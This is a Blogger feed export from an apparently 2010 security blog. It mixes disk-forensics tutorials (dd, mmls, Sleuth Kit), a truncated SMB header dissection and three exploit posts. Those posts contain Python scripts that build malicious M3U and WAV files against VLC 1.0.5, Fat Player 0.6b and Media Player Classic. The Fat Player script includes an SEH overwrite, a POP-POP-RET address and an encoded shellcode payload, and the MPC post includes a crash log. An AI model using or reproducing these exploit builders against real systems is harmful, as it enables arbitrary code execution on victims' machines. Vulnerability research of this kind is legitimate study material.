&lt;b&gt;file type&lt;/b&gt; of the image under analysis by using &lt;b&gt;file&lt;/b&gt; command. The file command works by testing “arguments” within a file, and will then classify the file as whichever file type the file command sees fit. We see from the output of the file command that the image file contains an x86 boot sector. The boot sector of a computer is a primary starting point for an OS. The operating system will start at the boot loader, and the machine will read the first 512 bytes of the disk, which is known as the boot sector. The first 512 Bytes (boot sector) will be loaded into memory and will then be executed. This will initiate the boot process.&lt;br /&gt;&lt;br /&gt;The x86 boot sector type message was obtained because the magic&lt;span style="color: black;"&gt; number &lt;span style="font-weight: bold;"&gt;0xAA55&lt;/span&gt; value is located at the 0x1FE offset within the image; defined in the file “&lt;span style="font-weight: bold;"&gt;/usr/share/file/magic&lt;/span&gt;” which is used by file comman&lt;/span&gt;d.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdF-EPqWuI/AAAAAAAAAMk/xQqZN1azOSA/s1600/file_cmd.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523460400586840802" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdF-EPqWuI/AAAAAAAAAMk/xQqZN1azOSA/s320/file_cmd.jpg" style="cursor: pointer; display: block; height: 53px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: black;"&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: black;"&gt;&lt;b&gt;&lt;u&gt;Determining the File System type of the Image&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: black;"&gt;Lets run mmls utility to determine the File System type of the given image extracted by using dd command as shown below.&lt;a href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdGnnIM2oI/AAAAAAAAAMs/lIJxeFyN2wU/s1600/mmls_cmd.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523461114325424770" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdGnnIM2oI/AAAAAAAAAMs/lIJxeFyN2wU/s320/mmls_cmd.jpg" style="cursor: pointer; display: block; height: 246px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;-t Specify the media management type (dos, mac, bsd etc) &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: black;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;We see above that the NTFS (&lt;i&gt;New Technology File System&lt;/i&gt;) partition begins at sector 63 (to see this look at the last column in the row where it says NTFS (0x07). Now look to the left in the start column of the row NTFS and we can see the value 0000000063). So for all the Sleuth Kit commands we need to specify an &lt;b&gt;offset of 63&lt;/b&gt; if the file used is raw image.&lt;/div&gt;&lt;div class="MsoNormal"&gt;MMLS is a forensics utility that query’s an image file, and prints the partition tables and disk labels. This command is very useful when attempting to determine at which sector a partition begins and ends. We see that there is a NTFS file system on this image. We use the –t dos switch to tell mmls to utilize a dos based architecture for the file system.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: black;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: black;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;File system is extracted using dd.exe command. Input file is the raw image collected from the machine which is under forensic investigation. Block size used to extract File system is 512 bytes and skipped 62 sectors because our NTFS File System is starting after those sectors.&lt;a href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdHq5-jOqI/AAAAAAAAAM0/22491TuwkEE/s1600/extractingimage_dd_cmd.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523462270436457122" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdHq5-jOqI/AAAAAAAAAM0/22491TuwkEE/s320/extractingimage_dd_cmd.jpg" style="cursor: pointer; display: block; height: 80px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: black;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: black;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;Thus extracted File System image can be mounted by using &lt;span style="font-weight: bold;"&gt;mount &lt;/span&gt;command, we can check the mounted File System using&lt;span style="font-weight: bold;"&gt; fdisk -l&lt;/span&gt; command.&lt;/div&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: black;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;After extracting the image calculate md5 of the extracted NTFS File System image for integrity purposes.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;u&gt;Extracting the File System from the image&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;-b partition sizes in bytes&lt;/div&gt;&lt;div class="MsoNormal"&gt;-r Recurse into DOS partitions and look for other partition tables.&lt;/div&gt;&lt;div class="MsoNormal"&gt;-v verbose&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-7649396274754657989?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/7649396274754657989/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/10/forensics2-identifying-file-system-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/7649396274754657989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/7649396274754657989'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/10/forensics2-identifying-file-system-and.html' title='Forensics 2: Identifying  File System and Extracting it'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdE72InTiI/AAAAAAAAAMc/hqXycRnoLzc/s72-c/md5.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-2852976054790433816</id><published>2010-09-14T02:32:00.009+05:30</published><updated>2012-02-07T21:50:21.283+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='Sleuth Kit'/><title type='text'>Forensics 1: Extracting an Image for Investigation</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;Forensic investigations are usually performed on Static Data (images). Many open source (TSK) and commercial tools (Encase) are available for forensic analysis of a given image.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;Lets look at how to take the image of a drive, hard disk, partition etc. Few tools which can be used are &lt;span style="font-weight: bold;"&gt;dd, windd&lt;/span&gt; etc.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;Well, what is an image? Image is a bit-by-bit copy of the Hard Disk.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;I used dd.exe command for taking the image of the computer under investigation.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;dd command is found by default in Linux. On windows we can obtain the binary from &lt;span style="font-weight: bold;"&gt;The Sleuth Kit (TSK)&lt;/span&gt; or comes by default if Cygwin is installed.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;First, lets list all the available drives (A:, B:, C: etc.,) or partitions on the machine where we want to collect image.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;a href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TI6URbufmMI/AAAAAAAAAMM/mxLaWmthCQ4/s1600/listing_partitions.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5516509620796889282" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TI6URbufmMI/AAAAAAAAAMM/mxLaWmthCQ4/s320/listing_partitions.png" style="cursor: pointer; display: block; height: 320px; margin: 0px auto 10px; text-align: center; width: 317px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;; font-size: 130%;"&gt;Below is the snapshot of the dd command used for extracting the image for investi&lt;/span&gt;&lt;span style="font-family: &amp;quot;; font-size: 130%;"&gt;gation.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;a href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TI6VOrnJ08I/AAAAAAAAAMU/grP8ptfhirY/s1600/extracting_image.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5516510673033089986" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TI6VOrnJ08I/AAAAAAAAAMU/grP8ptfhirY/s320/extracting_image.png" style="cursor: pointer; display: block; height: 131px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;We should be very cautious while collecting the image for investigation because nothing should be changed on the machine under analysis. So most of the time we should use CD with all the tools and redirect the image to external drive or network share for saving rather than saving the image on local machine.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;dd command can also be used to extract a File System from Raw image.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;This is just a high level overview of Forensics will come up with more articles.&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;For further reading you can start from&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;http://en.wikipedia.org/wiki/Computer_forensics&lt;/div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-2852976054790433816?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/2852976054790433816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/09/forensics-1-extracting-image.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/2852976054790433816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/2852976054790433816'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/09/forensics-1-extracting-image.html' title='Forensics 1: Extracting an Image for Investigation'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_SQ_PsgPnt_w/TI6URbufmMI/AAAAAAAAAMM/mxLaWmthCQ4/s72-c/listing_partitions.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-3688524350358936539</id><published>2010-08-10T02:17:00.001+05:30</published><updated>2010-08-10T02:18:57.258+05:30</updated><title type='text'>VLC 1.0.5 M3U File Processing Stack Buffer Overflow</title><content type='html'>print "VLC 1.0.5 M3U File Processing Stack Buffer Overflow"&lt;br /&gt;&lt;br /&gt;handler = "ftp://"&lt;br /&gt;buff = "D" * 134000&lt;br /&gt;&lt;br /&gt;mal_buff = handler + buff&lt;br /&gt;&lt;br /&gt;try:&lt;br /&gt;   vlcm3u = open ("vlcm3u_mem_corru.m3u","w")&lt;br /&gt;   vlcm3u.write(mal_buff)    vlcm3u.close()&lt;br /&gt;   print "\nMalicious M3U File Created . . . !!"&lt;br /&gt;   print "[+] Coded by Praveen Darshanam"&lt;br /&gt;except:&lt;br /&gt;   print "\nUnable to Create File\n"&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TGBpodHv6BI/AAAAAAAAAL8/0mMD6OIytAA/s1600/vlc1.0.5_m3u_stackoverflow.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 193px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TGBpodHv6BI/AAAAAAAAAL8/0mMD6OIytAA/s320/vlc1.0.5_m3u_stackoverflow.JPG" alt="" id="BLOGGER_PHOTO_ID_5503514888379557906" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-3688524350358936539?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/3688524350358936539/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/08/vlc-105-m3u-file-processing-stack.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/3688524350358936539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/3688524350358936539'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/08/vlc-105-m3u-file-processing-stack.html' title='VLC 1.0.5 M3U File Processing Stack Buffer Overflow'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_SQ_PsgPnt_w/TGBpodHv6BI/AAAAAAAAAL8/0mMD6OIytAA/s72-c/vlc1.0.5_m3u_stackoverflow.JPG' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-1932069607091908467</id><published>2010-08-10T01:58:00.001+05:30</published><updated>2010-08-10T02:00:53.450+05:30</updated><title type='text'>Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)</title><content type='html'>#################################################################################################&lt;br /&gt;#        Stack-based buffer overflow in Fat Player 0.6b allows remote attackers to execute&lt;br /&gt;#    arbitrary code via a long string in a .wav file. NOTE: some of these details are&lt;br /&gt;#    obtained from third party information.&lt;br /&gt;#&lt;br /&gt;#    Reference:#        http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4962&lt;br /&gt;#        http://xforce.iss.net/xforce/xfdb/52713&lt;br /&gt;#    http://sourceforge.net/projects/fatplayer/&lt;br /&gt;#    http://www.exploit-db.com/exploits/9495/&lt;br /&gt;##    Tested on: Windows XP SP3, FatPlayer 0.6b&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#    This was strictly written for educational purpose. Use it at your own risk.&lt;br /&gt;#    Author will not bare any responsibility for any damages watsoever.&lt;br /&gt;#&lt;br /&gt;#        Author:    Praveen Darshanam#        Email:        praveen[underscore]recker[at]sify.com&lt;br /&gt;#     Blog:         http://darshanams.blogspot.com&lt;br /&gt;#        Date:        10th August, 2010&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#################################################################################################&lt;br /&gt;&lt;br /&gt;print "\nFat Player 0.6b WAV File Processing Buffer Overflow (SEH)"&lt;br /&gt;&lt;br /&gt;buff1 = "D" * 4132&lt;br /&gt;nseh = "\xeb\x06\x90\x90"&lt;br /&gt;seh_ppr = "\x39\x1f\xd1\x72"&lt;br /&gt;#0x72D11F39      pop edi - pop - retbis    msacm32.drv&lt;br /&gt;&lt;br /&gt;noop = "\x90" * 10&lt;br /&gt;code2exec = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")&lt;br /&gt;&lt;br /&gt;buff2 = "Z" * (40000 - len(buff1) - len(nseh) - len(seh_ppr) - len(noop) - len(code2exec))&lt;br /&gt;mal_buff = buff1 + nseh + seh_ppr + noop + code2exec + buff2&lt;br /&gt;try:&lt;br /&gt;   fatpwav = open ("fatplayerboseh.wav","w")&lt;br /&gt;   fatpwav.write(mal_buff)&lt;br /&gt;   fatpwav.close()&lt;br /&gt;   print "\nMalicious WAV File Created . . . !!"&lt;br /&gt;   print "[+] Coded by Praveen Darshanam"except:    print "\nUnable to Create File\n"&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TGBlO_keZ9I/AAAAAAAAAL0/dKSxgz_OWmg/s1600/fatplayerwavseh.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 193px;" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TGBlO_keZ9I/AAAAAAAAAL0/dKSxgz_OWmg/s320/fatplayerwavseh.JPG" alt="" id="BLOGGER_PHOTO_ID_5503510052903741394" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-1932069607091908467?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/1932069607091908467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/08/fat-player-06b-wav-file-processing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/1932069607091908467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/1932069607091908467'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/08/fat-player-06b-wav-file-processing.html' title='Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_SQ_PsgPnt_w/TGBlO_keZ9I/AAAAAAAAAL0/dKSxgz_OWmg/s72-c/fatplayerwavseh.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-5315594039042177967</id><published>2010-07-22T01:06:00.006+05:30</published><updated>2010-07-26T23:59:51.648+05:30</updated><title type='text'>Media Player Classic - Home Cinema 1.3.1333.0 M3U File Heap Overflow/DoS (0-Day)</title><content type='html'>&lt;span style="font-weight: bold;"&gt;# Vulnerability Found: Praveen Darshanam&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;# Coded: Praveen Darshanam&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;# Greetz to all Andhra Hackers and ICW Members&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;# http://www.darshanams.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;##########PoC Start################&lt;/span&gt;&lt;br /&gt;print("\n*****Program need to be run on Python 3.1*****")&lt;br /&gt;print ("""Media Player Classic - Home Cinema 1.3.1333.0 M3U File DoS (0-Day)\r\n\r\nTested on:\nWindows XP SP3\n&lt;br /&gt;Media Player Classic - Home Cinema\n\t\t Build number: 1.3.1333.0\n\t\t&lt;br /&gt;MPC Compiler: VS 2008\n\t\t  FFmpeg Compiler: GCC 4.4.1\n""")&lt;br /&gt;&lt;br /&gt;head = "EXTM3U"&lt;br /&gt;buf = "D" * 1000&lt;br /&gt;&lt;br /&gt;mal_buf = head + buf&lt;br /&gt;#print ("mal_buf:",mal_buf)&lt;br /&gt;try:&lt;br /&gt;mpc_mal = open("mpc_m3u_crash.m3u",'w')&lt;br /&gt;mpc_mal.write (mal_buf)&lt;br /&gt;mpc_mal.close()&lt;br /&gt;print ("File Created Successfully: mpc_m3u_crash.m3u\n")&lt;br /&gt;except:&lt;br /&gt;print ("Cannnot Create M3U File\n")&lt;br /&gt;&lt;br /&gt;print ("[+] Found and Coded by: Praveen Darshanam\r\n")&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;##########PoC End################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When the M3U file is around 1000 bytes following "C++ Runtime Error Exception" is thrown .&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TEdMrGWb21I/AAAAAAAAAK0/4BgyY3ur7sY/s1600/RUNTIME_ERROR_1000bytes.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TEdMrGWb21I/AAAAAAAAAK0/4BgyY3ur7sY/s320/RUNTIME_ERROR_1000bytes.JPG" alt="" id="BLOGGER_PHOTO_ID_5496446173551778642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;If the buffer is increased further Media Player Classic shows below error but doesn't crash.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TEdNeFMVQ_I/AAAAAAAAAK8/F8NBudULwgg/s1600/error_with2000bytes.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TEdNeFMVQ_I/AAAAAAAAAK8/F8NBudULwgg/s320/error_with2000bytes.JPG" alt="" id="BLOGGER_PHOTO_ID_5496447049414296562" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Playing with M3U file sizes  between 950 bytes to 2000 bytes will throw above Exceptions and lead to Crashes occassionally. Crash report with C++ Exception is shown below.&lt;br /&gt;&lt;br /&gt;--------------CRASH REPORT START----------------------&lt;br /&gt;ModLoad: 77be0000 77bf5000   C:\WINDOWS\system32\MSACM32.dll&lt;br /&gt;ModLoad: 77bd0000 77bd7000   C:\WINDOWS\system32\midimap.dll&lt;br /&gt;ModLoad: 73ee0000 73ee4000   C:\WINDOWS\system32\KsUser.dll&lt;br /&gt;ModLoad: 10000000 100fb000   C:\Program Files\K-Lite Codec Pack\Filters\vsfilter.dll&lt;br /&gt;ModLoad: 590b0000 590ce000   C:\WINDOWS\system32\wmpasf.dll&lt;br /&gt;ModLoad: 71b20000 71b32000   C:\WINDOWS\system32\MPR.dll&lt;br /&gt;ModLoad: 6bf50000 6bfcd000   C:\WINDOWS\system32\dxmasf.dll&lt;br /&gt;ModLoad: 02530000 0257f000   C:\WINDOWS\system32\DRMClien.DLL&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;(6dc.cec): C++ EH exception - code e06d7363 (!!! second chance !!!)&lt;/span&gt;&lt;br /&gt;eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=01c2f36c edi=003fd08c&lt;br /&gt;eip=7c812aeb esp=01c2f2e0 ebp=01c2f334 iopl=0         nv up ei pl nz na pe nc&lt;br /&gt;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206&lt;br /&gt;*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -&lt;br /&gt;kernel32!RaiseException+0x52:&lt;br /&gt;7c812aeb 5e              pop     esi&lt;br /&gt;Missing image name, possible paged-out or corrupt data.&lt;br /&gt;Missing image name, possible paged-out or corrupt data.&lt;br /&gt;Missing image name, possible paged-out or corrupt data.&lt;br /&gt;0:004&gt; g&lt;br /&gt;WARNING: Continuing a non-continuable exception&lt;br /&gt;(6dc.cec): Break instruction exception - code 80000003 (first chance)&lt;br /&gt;eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=00000000 edi=003fd08c&lt;br /&gt;eip=0071d14b esp=01c2f37c ebp=01c2f39c iopl=0         nv up ei pl nz na pe nc&lt;br /&gt;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206&lt;br /&gt;mpc_hc+0x31d14b:&lt;br /&gt;0071d14b cc              int     3&lt;br /&gt;&lt;br /&gt;-----------CRASH REPORT END-------------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-5315594039042177967?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/5315594039042177967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/07/media-player-classic-home-cinema.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5315594039042177967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5315594039042177967'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/07/media-player-classic-home-cinema.html' title='Media Player Classic - Home Cinema 1.3.1333.0 M3U File Heap Overflow/DoS (0-Day)'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_SQ_PsgPnt_w/TEdMrGWb21I/AAAAAAAAAK0/4BgyY3ur7sY/s72-c/RUNTIME_ERROR_1000bytes.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-5867481496998283709</id><published>2010-07-12T19:42:00.007+05:30</published><updated>2012-02-07T21:56:05.881+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='cifs'/><category scheme='http://www.blogger.com/atom/ns#' term='samba'/><category scheme='http://www.blogger.com/atom/ns#' term='smb'/><title type='text'>Server Message Block (SMB) Protocol Dissection</title><content type='html'>Primary goal of SMB is File Transfer within LAN.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SMB Header Structure:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SMB_Header&lt;br /&gt;{&lt;br /&gt;UCHAR Protocol[4];&lt;br /&gt;UCHAR Command;&lt;br /&gt;SMB_ERROR Status; &lt;br /&gt;UCHAR Flags;&lt;br /&gt;USHORT Flags2;&lt;br /&gt;USHORT PIDHigh;&lt;br /&gt;UCHAR SecurityFeatures[8];&lt;br /&gt;USHORT Reserved;&lt;br /&gt;USHORT TID;&lt;br /&gt;USHORT PIDLow;&lt;br 